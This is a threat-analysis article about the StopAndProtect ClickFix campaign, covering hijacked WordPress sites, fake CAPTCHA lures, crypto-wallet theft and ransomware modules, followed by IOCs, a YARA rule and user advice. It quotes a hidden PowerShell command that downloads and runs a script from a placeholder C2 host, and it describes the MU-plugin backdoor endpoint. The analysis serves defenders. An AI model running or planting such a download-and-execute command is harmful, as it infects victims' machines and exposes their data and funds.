Nearly 2,000 WordPress websites taken over: The secret behind the StopAndProtect Campaign
Do you believe that just one click on the familiar “I’m not a robot” (CAPTCHA) verification box can empty your cryptocurrency wallet and turn your computer into a “slave” in a global criminal network?
In May 2026, cybersecurity experts at Check Point Research exposed StopAndProtect – a large-scale underground campaign that was silently turning nearly 2,000 reputable WordPress websites into digital “minefields”. However, this is not simply an ordinary malware distribution. What’s hidden behind this campaign will make you go from surprise to surprise:
- Spooky ClickFix trick: How can a fake CAPTCHA message trick an unsuspecting victim into applying malicious code to his or her computer?
- The “Swiss Knife” of criminals: Why is StopAndProtect not just ransomware, but also a multi-purpose arsenal—automatically ransacking Crypto wallets, hijacking WhatsApp to spy on contacts, and silently taking screenshots of victims every 30 seconds?
- The most absurd “self-squeezing” phase in history (The OPSEC Blunder): The most dramatic part of the campaign lies in the fact that the mastermind made a fatal mistake: Infecting his own personal computer with malware! It was this humorous incident that accidentally gave the security world an archive of 31,000 secret screen photos, along with all botnet operating tools written in the language… Visual Basic 6 from the 90s.
ClickFix (combined from Click and Fix) is an extremely dangerous new generation Social Engineering technique.
- Difference from traditional scams: Previously, hackers often tricked you into downloading an .exe or .zip file and opening it. However, modern browsers (Chrome, Edge) and anti-virus software will warn you as soon as you download strange files.
- How ClickFix overcomes the barrier: ClickFix does not download any files to the hard disk. Instead, it takes advantage of users’ trust and habits, tricking you into manually copying and pasting malicious commands into the system. Because you are the one executing the command, security software often mistakes it as a valid operation by the administrator!
WordPress “slave” network – Hackers’ stealth infrastructure
To start a large-scale phishing campaign, an attacker needs a server to host malicious code and control the attack. Instead of spending money to rent a private server (which is easily tracked and locked by cyber police), the StopAndProtect group chose to take over nearly 2,000 less secure WordPress websites around the world.
Great move “Stealth Backdoor” via MU-Plugins:
Hacked websites mainly ran old versions of WordPress (as of 2021, with up to 40 vulnerabilities) or installed unpatched plugins. Attackers set up shop on these websites using an extremely sophisticated technique:
- Installing Must-Use Plugin (MU-Plugin): The attacker uploads the script file mu-uploader-installer.php. This script silently creates a special plugin at wp-content/mu-plugins/wp-sec.php.To put it simply: In WordPress, MU-Plugin is a “must-run” plugin – it starts automatically every time someone visits the website but is completely not displayed in the Plugin list in the admin interface. Administrators are very difficult to detect!
- Create a Backdoor (Hidden REST API Endpoint): This hidden plugin opens the /wp-json/wp-sec/v1/upload port. An attacker only needs to send a request with a hardcoded password to be able to upload any malicious file (including a .php file to take over the entire server).
- Delete installation traces: Immediately after setting up the backdoor, the original installation file self-deletes, causing all traces to disappear.
“ClickFix” script – How sophisticated is the CAPTCHA trick?
Step 1: Target screening & environmental testing
When you access a WordPress website that has been taken over by hackers, the verify.php malicious script hidden on the server will immediately launch a hidden checker:
- User-Agent Check:
- If the browser sends information as Windows OS ➔ Enable ClickFix trap.
- If it is macOS, Linux, Android or iOS ➔ Skip, allow normal website content viewing.
- Purpose of screening:
- Avoid raising suspicion among users traveling by phone or Mac.
- Make sure the PowerShell command you are about to launch will run 100% successfully (because only Windows operating systems have PowerShell by default).
Step 2: Overlay fake CAPTCHA interface (UI Overlay)
As soon as it is determined that the victim uses Windows, a fake window covers the entire screen (Overlay), obscuring the original website content.
- Extremely realistic appearance: The interface is designed to imitate reputable verification services such as Google reCAPTCHA, Cloudflare or hCaptcha with safety lock icons, the words “Security Check” or “Verify you are human”.
- Create a fake problem: The screen displays an error message such as: “Your browser is having trouble connecting securely. Please click verify to continue accessing.”
Step 3: “Kidnapping” the temporary memory
This is ClickFix’s key underground technical link:
- As soon as the victim clicks on the “I am not a robot” box or the “Verify” button, a background JavaScript script (vcapcha.js file) in the browser is immediately activated.
- This script calls the browser’s system command navigator.clipboard.writeText(…) to silently copy an extremely complex PowerShell malware script into the victim’s RAM/Clipboard without emitting any sound or warning.
Step 4: Psychological manipulation – Trick the victim into “self-activation”
Once the malicious code is in the cache, the fake CAPTCHA screen changes its interface, displaying a 3-step guide that looks very “technical” but is actually a trap:
Analyze the victim’s psychology in this step:
- The victim thinks that the text he pasted is a secure verification code/token string.
- The operation Win + R (opens the Run dialog box) and Ctrl + V happens very quickly (only takes 2-3 seconds), the victim does it reflexively without thinking or checking to see what the command line they pasted actually contains.
Step 5: Execute implicit command
As soon as the victim presses Enter, the Windows Run dialog box will execute the malicious PowerShell command. Let’s unpack the technical meaning of this command:
powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://<C2>/vcapcha.ps1'))
- -w hidden (WindowStyle Hidden): Completely hide the PowerShell black window. After pressing Enter, the victim will not see any windows appear, thinking that the system is “silently verifying”.
- -ep bypass (ExecutionPolicy Bypass): Ignore all policies that prevent running Windows script files (Execution Policy). IEX (Invoke-Expression): Directly execute code downloaded from the internet right on RAM memory without saving the file to the hard disk.
- DownloadString(‘…/vcapcha.ps1’): Download the main infection script vcapcha.ps1 from the hacked WordPress server.
Step 6: Report log to C2 server & transition to Stage 2
As soon as the vcapcha.ps1 code runs successfully:
- Sending reconnaissance data: The malicious code sends an HTTP request containing the victim’s IP, execution time, and Windows version to Endpoint /wp-content/plugins/verify/proxy.php on the hijacked WordPress website.
- Activate the next infection chain: Decode and load Stage 1 & Stage 2 (.NET Loaders) into RAM to prepare to deploy the Crypto wallet and Ransomware theft weapon set (Stage 3).
- Return the interface: The fake CAPTCHA screen disappears, the browser automatically refreshes (Reloads) the original website. The victim calmly read the newspaper/watched the website without knowing that his computer was completely controlled!
Summary of the process with a comparison table
| Criteria | Old scam method | ClickFix scenario (New) |
| Victim’s actions | Download .exe/.zip file ➔ Open file ➔ Install. | Click CAPTCHA ➔ Press Win+R ➔ Ctrl+V ➔ Enter. |
| Browser warnings | Displays warning: “This file may be harmful”. | No warning at all (due to manual command pasting). |
| Disk storage | Writes malicious file to the hard drive. | Runs directly in RAM (In-Memory Execution). |
| Antivirus (AV) evasion | Easily detected by Antivirus when writing to disk. | Extremely high Antivirus evasion rate. |
Stage 3 Multi-purpose weapon set – From Crypto Wallet theft to extortion
Once deep inside the computer, StopAndProtect begins activating destructive modules depending on the hacker’s purpose.
SilentDataCollector – “Silent thief” hunting Crypto Wallets
This is the most dangerous module for crypto investors:
- Automatically extract Crypto Wallet: Wipe hard drive, compress and encrypt files containing recovery phrase (Seed Phrase), browser password, cryptocurrency wallet file in the format: <DEVICE_NAME>wallet_V_<DATE_TIME>.zip.encrypted
- Spying with WhatsApp Automation: Attacker sends keywords (contact name) from C2 down. The malicious code waits for the victim not to use the device, then automatically controls WhatsApp (Web/Desktop version), types keywords into the search box, opens contact information and takes a screenshot to get the target’s phone number.
- Take continuous screenshots: Automatically capture the victim’s working screen every 30 seconds.
- Smart Keylogger: Record every keystroke and automatically filter out valid Email addresses/Accounts.
SilentEncryptor (Data encryption ransomware)
- Encrypt all data or computers with names (Hostname) specified from C2.
- The 32-byte AES encryption key is combined from the machine name and password of each file.
- Display ransom notice and payment instructions via Bitcoin/USDT.
NetworkShareScanner & VBS spreader
- Automatically scans shared network drives (SMBs) and USB devices plugged into the machine to replicate malware to other computers on the same corporate LAN.
Lock phone & chat blackmail
- LockScreen: Locks the keyboard and mouse, turns the screen into a ransom notice with a QR code.
- SimpleChatProxy: Opens a live chat application between the victim and the hacker to negotiate the decryption price.
Victim statistics & geographic distribution map
As of July 24, 2026, the StopAndProtect campaign has successfully infected over 6,000+ unique IP addresses.
IOC
| compromised websites | maximumrock[.]ro platinumcar[.]ca norakremer.co[.]uk pharmart[.]ae ksr-racingparts[.]com |
| compromised base C&C websites | v-k.com[.]ua www.lapellelaser[.]pl www.parsrulman[.]com mectcalcutta[.]com discherniation[.]com |
| PowerShell script stage 1 | cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0 |
| PowerShell script stage 2 | cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9 |
| stage 1 – downloader | 99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b 8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5 4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504 |
| stage 2 – downloader & loader | 9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527 7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c 976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153 |
| stage 3 – encryptor | b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489 65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143 0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40 |
| stage 3 – SMB/USB worm | 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4 10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0 f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41 |
| stage 3 – lockscreen | 11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e 2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c 38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9 |
| stage 3 – credential stealer | 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 |
| stage 3 – VBS spreader | b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad |
| stage 3 – chat utility | 3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9 3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8 |
Yara Rule
rule StopAndProtectOperation
{
meta:
description = “Detects StopAndProtect Operation”
author = “Check Point Research”
date = “2026-05-26”
modified = “2026-05-26”
hash = “712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB”
strings:
$a = “C:\\Users\\marks\\source\\”
condition:
all of them
}
Recommendation
Absolutely DO NOT run command Win + R ➔ Ctrl + V ➔ Enter
- There are no CAPTCHAs or verification services that require you to manually paste a PowerShell command into your computer. Seeing this claim = 100% ClickFix Scam!
Tips for trying with Notepad
- If you accidentally press the button to verify your doubt, open Notepad and paste (Ctrl + V) there first. If you see a powershell command appear… ➔ Delete it now, you just avoided a scam!
Protect Crypto Wallets at all costs
- DO NOT save 12/24 recovery words (Seed Phrase) or Private Key as text files, photos on your computer or Cloud.
- ONLY write on paper/engrave metal and keep in a safe place.
- Use Hardware Wallet (Ledger, Trezor) for large assets.
Password management & computer cleanup
- DO NOT save passwords in the browser (malicious code is easy to steal). Use your own password manager (Bitwarden, 1Password) + Enable 2FA via the app.
- DO NOT download cracking software (Crack/Keygen) because this is the main way to spread malware.
References
https://thehackernews.com/2026/08/stopandprotect-uses-nearly-2000-hacked.html
https://www.cryptopolitan.com/it/2000-hacked-wordpress-traps-crypto-users/
|
Exclusive article by experts from FPT IS, FPT Corporation
|





